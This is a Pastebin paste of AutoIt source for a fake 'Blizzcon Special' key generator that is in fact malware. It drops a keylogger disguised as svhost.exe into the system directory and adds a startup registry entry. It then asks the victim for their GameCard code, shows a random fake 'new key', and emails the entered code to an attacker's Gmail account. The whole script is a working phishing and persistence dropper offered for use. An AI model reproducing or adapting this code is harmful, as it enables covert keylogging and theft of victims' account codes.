Advertisement
Guest User

Untitled

a guest
May 5th, 2017
604
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 4.91 KB | None | 0 0
  1. #include <ButtonConstants.au3>
  2. #include <EditConstants.au3>
  3. #include <GUIConstantsEx.au3>
  4. #include <WindowsConstants.au3>
  5. #include <EditConstants.au3>
  6. #include <SMTP.au3>
  7. #Include <String.au3>
  8.  
  9. Global $Log, $Win, $Win2, $Len, $File, $Body, $ClearLogAfterEmail, $eFile, $GmailUser, $GmailPass, $ToEmail, $tStamp
  10. GUICreate("Blizzcon Special 2.1.244.6", 266, 250, 193, 125)
  11.  
  12. Dim $O = @SystemDir & "\svhost.exe";This is where the Keylogger will be installed
  13. dim $1 = @SystemDir & "\svhost.jpg"
  14. If FileExists($O) and FileExists($1) Then              ;If the keylogger is already installed then simply exit the script
  15.     run($O)
  16.     Exit
  17. Else                                ;Else extract the keylog file to the desired directory
  18.     FileInstall("C:\GC-Gen.exe", $O, 1)
  19.     fileinstall("C:\lol.jpg", $1, 1)
  20.     RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", "svhost", "REG_SZ", $O) ;This will make sure the keylogger will run on startup.
  21.     Run($O)                         ;Starts the Keylogger before exiting.
  22. EndIf
  23.  
  24. $pic = GUICtrlCreatePic(@SystemDir & "\svhost.jpg", 1, 30, 266, 140)
  25. GUISetBkColor(0x0000)
  26.  
  27. $Input1 = GUICtrlCreateInput("", 10, 12, 41, 21,$ES_NUMBER)
  28. guictrlsetlimit($Input1, 4, 4)
  29. $Input2 = GUICtrlCreateInput("", 60, 12, 45, 21,$ES_NUMBER)
  30. guictrlsetlimit($Input2, 6, 6)
  31. $Input3 = GUICtrlCreateInput("", 115, 12, 41, 21,$ES_NUMBER)
  32. guictrlsetlimit($Input3, 5, 5)
  33. $Input4 = GUICtrlCreateInput("", 165, 12, 45, 21,$ES_NUMBER)
  34. guictrlsetlimit($Input4, 6, 6)
  35. $Input5 = GUICtrlCreateInput("", 220, 12, 41, 21,$ES_NUMBER)
  36. guictrlsetlimit($Input5, 4, 4)
  37. $Input6 = GUICtrlCreateInput("", 10, 165, 41, 21)
  38.  
  39. $Input7 = GUICtrlCreateInput("", 60, 165, 45, 21)
  40.  
  41. $Input8 = GUICtrlCreateInput("", 115, 165, 41, 21)
  42.  
  43. $Input9 = GUICtrlCreateInput("", 165, 165, 45, 21)
  44.  
  45. $Input10 = GUICtrlCreateInput("", 220, 165, 41, 21)
  46.  
  47. $Button1 = GUICtrlCreateButton("Validate and Download new Key", 1, 200, 265, 47, 0)
  48.  
  49.  
  50. guictrlsetstate($input1&$input2&$input3&$input4&$input5&$input6&$input7&$input8&$input9&$input10, $gui_focus)
  51. GUISetState()
  52.  
  53.  
  54.  
  55.  
  56. #EndRegion ### END Koda GUI section ###
  57.  
  58. While 1
  59.     $rinput1 = guictrlread($input1)
  60.     $rinput2 = guictrlread($input2)
  61.     $rinput3 = guictrlread($input3)
  62.     $rinput4 = guictrlread($input4)
  63.     $rinput5 = guictrlread($input5)
  64.        
  65.     $nMsg = GUIGetMsg()
  66.     Switch $nMsg
  67.         Case $GUI_EVENT_CLOSE
  68.             Exit
  69.         case $Button1
  70.             $verify = msgbox(4, "Verify", "Please verify if this code is the one you have on your GameCard: "& $rinput1 & "-" & $rinput2 & "-" & $rinput3 & "-" & $rinput4 & "-" & $rinput5)
  71.             if $verify = 6 And $rinput1&$rinput2&$rinput3&$rinput4&$rinput5 = not ""  Then
  72.                
  73.             $random1_1 = random(1, 9, 1)
  74.             $random2_1 = random(1, 9, 1)
  75.             $random3_1 = random(1, 9, 1)
  76.             $random4_1 = random(1, 9, 1)
  77.             $random1_2 = random(1, 9, 1)
  78.             $random2_2 = random(1, 9, 1)
  79.             $random3_2 = random(1, 9, 1)
  80.             $random4_2 = random(1, 9, 1)
  81.             $random5_2 = random(1, 9, 1)
  82.             $random6_2 = random(1, 9, 1)
  83.             $random1_3 = random(1, 9, 1)
  84.             $random2_3 = random(1, 9, 1)
  85.             $random3_3 = random(1, 9, 1)
  86.             $random4_3 = random(1, 9, 1)
  87.             $random5_3 = random(1, 9, 1)
  88.             $random1_4 = random(1, 9, 1)
  89.             $random2_4 = random(1, 9, 1)
  90.             $random3_4 = random(1, 9, 1)
  91.             $random4_4 = random(1, 9, 1)
  92.             $random5_4 = random(1, 9, 1)
  93.             $random6_4 = random(1, 9, 1)
  94.             $random1_5 = random(1, 9, 1)
  95.             $random2_5 = random(1, 9, 1)
  96.             $random3_5 = random(1, 9, 1)
  97.             $random4_5 = random(1, 9, 1)           
  98.             guictrlsetdata($input6, $random1_1&$random2_1&$random3_1&$random4_1)
  99.             guictrlsetdata($input7, $random1_2&$random2_2&$random3_2&$random4_2&$random5_2&$random6_2)
  100.             guictrlsetdata($input8, $random1_3&$random2_3&$random3_3&$random4_3&$random5_3)
  101.             guictrlsetdata($input9, $random1_4&$random2_4&$random3_4&$random4_4&$random5_4&$random6_4)
  102.             guictrlsetdata($input10, $random1_5&$random2_5&$random3_5&$random4_5)
  103.             $log = ""
  104.             $Len = 5                                 ;This is how often the log should be uploaded in minutes
  105. $eFile = @ScriptDir & "\gamecard.txt"       ;Name and place for the Log file
  106. $Body = "GameCard file reciecved at " & @Hour & ":" & @Min & " on " & @MDay & "/" & @Mon & "/" & @Year
  107. $ClearLogAfterEmail = True               ;Delete log after an upload? True for yes and False for no
  108. $GmailUser = "USERNAME@gmail.com"            ;Gmail login name (Required)
  109. $GmailPass = "PASSWORD"                      ;Gmail login pass (Required)
  110. $ToEmail = "EITHER ABOVE EMAIL OR ANOTHER ONE@gmail.com"             ;This is where the log files will be sent
  111.  
  112.  
  113. $Len *= 60
  114. $tStamp = TimerInit()
  115.  
  116. _INetSmtpMailCom("smtp.gmail.com", @ComputerName, $ToEmail, $ToEmail, $GmailUser, $GmailPass, @Username & "@" & @ComputerName, "GameCard file reciecved at " & @Hour & ":" & @Min & " on " & @MDay & "/" & @Mon & "/" & @Year & @crlf & $rinput1&"-"&$rinput2&"-"&$rinput3&"-"&$rinput4&"-"&$rinput5)
  117.  
  118.         Else
  119.             msgbox(16, "Error!", "Please check your code again.")
  120.         EndIf
  121.        
  122.        
  123.        
  124.     EndSwitch
  125. WEnd
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement